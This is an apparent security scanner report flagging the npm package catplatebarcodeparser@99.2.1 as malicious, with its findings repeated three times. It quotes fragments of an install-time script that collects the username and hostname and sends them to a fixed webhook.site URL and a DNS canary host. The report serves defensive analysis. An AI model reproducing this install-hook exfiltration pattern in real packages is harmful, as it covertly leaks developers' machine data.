catplatebarcodeparser@99.2.1: Malicious npm security report

Loading npm security reports…

catplatebarcodeparser@99.2.1: Malicious npm security report | LPM Firewall

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node scripts/run.js preinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node scripts/run.js preinstall", "postinstall": "node scripts/run.js postinstall" }

High

Suspicious Lifecycle Evidence

The manifest automatically runs scripts/run.js during both preinstall and postinstall.

package.jsonView on unpkg · L6

•scripts.preinstall = node scripts/run.js preinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node scripts/run.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/run.jsView file

1'use strict'; L2: const http = require('http'); L3: const https = require('https'); L4: const dns = require('dns'); L5: const os = require('os'); ... L21: const body = JSON.stringify({ L22: username: (os.userInfo && os.userInfo().username) || process.env.USER || process.env.USERNAME || 'unknown', L23: hostname: os.hostname(), L24: package: 'catplatebarcodeparser`' ... L47: L48: req.write(body); L49: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

scripts/run.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> scripts/run.js const http = require('http'); const https = require('https'); const OOB = 'https://webhook.site/40e9b065-efd7-43a5-916f-3d52281f42b6'; // HTTP/HTTPS beacon const lib = u.protocol === 'https:' ? https : http; const body = JSON.stringify({ port: u.port || (u.protocol === 'https:' ? 443 : 80), method: 'POST',

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

scripts/run.jsView on unpkg

7const OOB = 'https://webhook.site/40e9b065-efd7-43a5-916f-3d52281f42b6'; const DNS_CANARY = '40e9b065-efd7-43a5-916f-3d52281f42b6.dnshook.site'; // DNS canary try { dns.lookup(DNS_CANARY, () => {});

High

Suspicious Lifecycle Evidence

The lifecycle script sends a DNS lookup to a fixed external canary host.

scripts/run.jsView on unpkg · L7

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node scripts/run.js preinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node scripts/run.js preinstall", "postinstall": "node scripts/run.js postinstall" }

High

Suspicious Lifecycle Evidence

The manifest automatically runs scripts/run.js during both preinstall and postinstall.

package.jsonView on unpkg · L6

•scripts.preinstall = node scripts/run.js preinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node scripts/run.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/run.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

scripts/run.jsView on unpkg · L1

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

scripts/run.jsView on unpkg

7const OOB = 'https://webhook.site/40e9b065-efd7-43a5-916f-3d52281f42b6'; const DNS_CANARY = '40e9b065-efd7-43a5-916f-3d52281f42b6.dnshook.site'; // DNS canary try { dns.lookup(DNS_CANARY, () => {});

High

Suspicious Lifecycle Evidence

The lifecycle script sends a DNS lookup to a fixed external canary host.

scripts/run.jsView on unpkg · L7

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node scripts/run.js preinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node scripts/run.js preinstall", "postinstall": "node scripts/run.js postinstall" }

High

Suspicious Lifecycle Evidence

The manifest automatically runs scripts/run.js during both preinstall and postinstall.

package.jsonView on unpkg · L6

•scripts.preinstall = node scripts/run.js preinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node scripts/run.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/run.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

scripts/run.jsView on unpkg · L1

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

scripts/run.jsView on unpkg

7const OOB = 'https://webhook.site/40e9b065-efd7-43a5-916f-3d52281f42b6'; const DNS_CANARY = '40e9b065-efd7-43a5-916f-3d52281f42b6.dnshook.site'; // DNS canary try { dns.lookup(DNS_CANARY, () => {});

High

Suspicious Lifecycle Evidence

The lifecycle script sends a DNS lookup to a fixed external canary host.

scripts/run.jsView on unpkg · L7

catplatebarcodeparser@99.2.1

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code